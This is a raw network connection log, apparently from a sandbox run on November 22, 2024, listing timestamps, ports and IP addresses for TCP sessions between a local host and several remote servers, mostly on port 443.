Nov 22, 2024 14:43:18.845593929 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.845650911 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.985519886 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.985546112 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.985667944 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.985678911 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.985750914 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.010241032 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.010266066 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.010349989 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.010364056 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.010427952 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.032169104 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.032191038 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.032295942 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.032301903 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.032362938 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.051743984 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.051772118 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.051831007 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.051841021 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.052058935 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.052058935 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.191946030 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.191973925 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.192051888 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.192065954 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.192116976 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.205840111 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.205857992 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.205909014 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.205918074 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.205950022 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.206003904 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.222062111 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.222084999 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.222167969 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.222178936 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.222219944 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.233731031 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.233764887 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.233866930 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.233884096 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.233897924 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.233926058 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.243822098 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.243870974 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.243954897 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.243973017 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.244040012 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.256225109 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.256248951 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.256302118 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.256310940 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.256345034 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.256366968 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.259592056 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.259666920 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.259675980 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.259716034 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.259727001 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.259795904 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.259819984 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.259844065 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.259855032 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.259862900 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.321683884 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.321737051 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.321865082 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.322925091 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.322978020 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.323067904 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.323144913 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.323158026 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.323210001 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.324506044 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.324522972 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.324595928 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.324637890 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.324655056 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.324737072 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.324745893 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.324810982 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.324829102 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.324897051 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.324912071 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.325674057 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.325721025 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:19.325786114 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.325977087 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:19.325992107 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.056111097 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.057710886 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.057729006 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.058214903 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.058222055 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.115325928 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.115354061 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.115858078 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.115885019 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.116296053 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.116302013 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.116523027 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.116544962 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.116909027 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.116914034 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.171471119 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.171751976 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.172277927 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.172292948 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.172514915 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.172529936 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.172868013 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.172873020 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.173021078 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.173027992 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.474726915 CET	49673	443	192.168.2.6	173.222.162.64
Nov 22, 2024 14:43:21.474739075 CET	49674	443	192.168.2.6	173.222.162.64
Nov 22, 2024 14:43:21.475433111 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:21.533991098 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.534012079 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.534073114 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.534094095 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.534127951 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.534382105 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.534399986 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.534414053 CET	49716	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.534420013 CET	443	49716	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.537462950 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.537508011 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.537573099 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.537741899 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.537754059 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.584230900 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.584306002 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.584465981 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.584945917 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.584968090 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.584996939 CET	49717	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.585002899 CET	443	49717	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.587752104 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.587810040 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.588057995 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.588222980 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.588254929 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.588313103 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.588345051 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.588422060 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.588423967 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.588608027 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.588659048 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.588671923 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.588684082 CET	49720	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.588695049 CET	443	49720	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.590770006 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.590812922 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.591021061 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.591207981 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.591223001 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.594988108 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:21.595145941 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:21.596035004 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:21.624932051 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.624993086 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.625049114 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.625291109 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.625312090 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.625324011 CET	49719	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.625329018 CET	443	49719	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.628154993 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.628206015 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.628382921 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.628552914 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.628570080 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.629127979 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.629159927 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.629218102 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.629235029 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.629281998 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.629357100 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.629360914 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.629379034 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.629525900 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.629563093 CET	443	49718	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.629890919 CET	49718	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.631599903 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.631629944 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.631759882 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.631901026 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:21.631913900 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:21.715522051 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:21.802850008 CET	49672	443	192.168.2.6	173.222.162.64
Nov 22, 2024 14:43:23.212928057 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:23.212968111 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:23.213047981 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:23.213670969 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:23.213685989 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:23.254786015 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.266067028 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.266087055 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.273542881 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.273550034 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.345523119 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.346060991 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.346093893 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.346539974 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.346548080 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.373058081 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.373573065 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.373614073 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.374049902 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.374057055 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.413914919 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.414526939 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.414555073 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.414998055 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.415003061 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.433629990 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.434115887 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.434129953 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.434550047 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.434555054 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.707469940 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.707564116 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.707612991 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.707827091 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.707851887 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.707868099 CET	49722	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.707876921 CET	443	49722	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.711409092 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.711446047 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.711514950 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.711694002 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.711709023 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.779696941 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.779773951 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.779829979 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.780023098 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.780045033 CET	49725	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.780046940 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.780051947 CET	443	49725	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.783137083 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.783149958 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.783214092 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.783489943 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.783503056 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.858259916 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.858409882 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.858465910 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.858558893 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.858571053 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.858582020 CET	49726	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.858589888 CET	443	49726	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.862602949 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.862637997 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.862692118 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.863137007 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.863152027 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.887191057 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.887300968 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.887362003 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.887447119 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.887469053 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.887480974 CET	49723	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.887486935 CET	443	49723	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.890431881 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.890458107 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:23.890526056 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.890677929 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:23.890688896 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:24.076242924 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:24.076463938 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:24.076514959 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:24.076558113 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:24.076582909 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:24.076596022 CET	49724	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:24.076601982 CET	443	49724	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:24.079262972 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:24.079324007 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:24.079379082 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:24.079575062 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:24.079586983 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:24.208930969 CET	443	49709	173.222.162.64	192.168.2.6
Nov 22, 2024 14:43:24.209047079 CET	49709	443	192.168.2.6	173.222.162.64
Nov 22, 2024 14:43:24.731741905 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:24.731908083 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:24.735577106 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:24.855396986 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:25.209840059 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:25.209913015 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:25.211170912 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:25.330698967 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:25.490750074 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:25.490904093 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:25.493402958 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:25.493424892 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:25.493736029 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:25.493916988 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.494400024 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.494431973 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.494968891 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.494975090 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.495815039 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:25.495878935 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:25.495887041 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:25.496054888 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:25.543333054 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:25.605648994 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.606215000 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.606247902 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.606786966 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.606791973 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.628642082 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.629164934 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.629175901 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.629656076 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.629661083 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.657434940 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.660693884 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.660720110 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.661534071 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.661539078 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.664979935 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:25.665051937 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:25.665061951 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:25.665108919 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:25.667552948 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:25.787117958 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:25.867074013 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.903970957 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.903987885 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.905034065 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.905050993 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.964374065 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.964442015 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.964505911 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.972120047 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.972135067 CET	443	49728	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:25.972147942 CET	49728	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:25.972156048 CET	443	49728	13.107.246.63	192.168.2.6
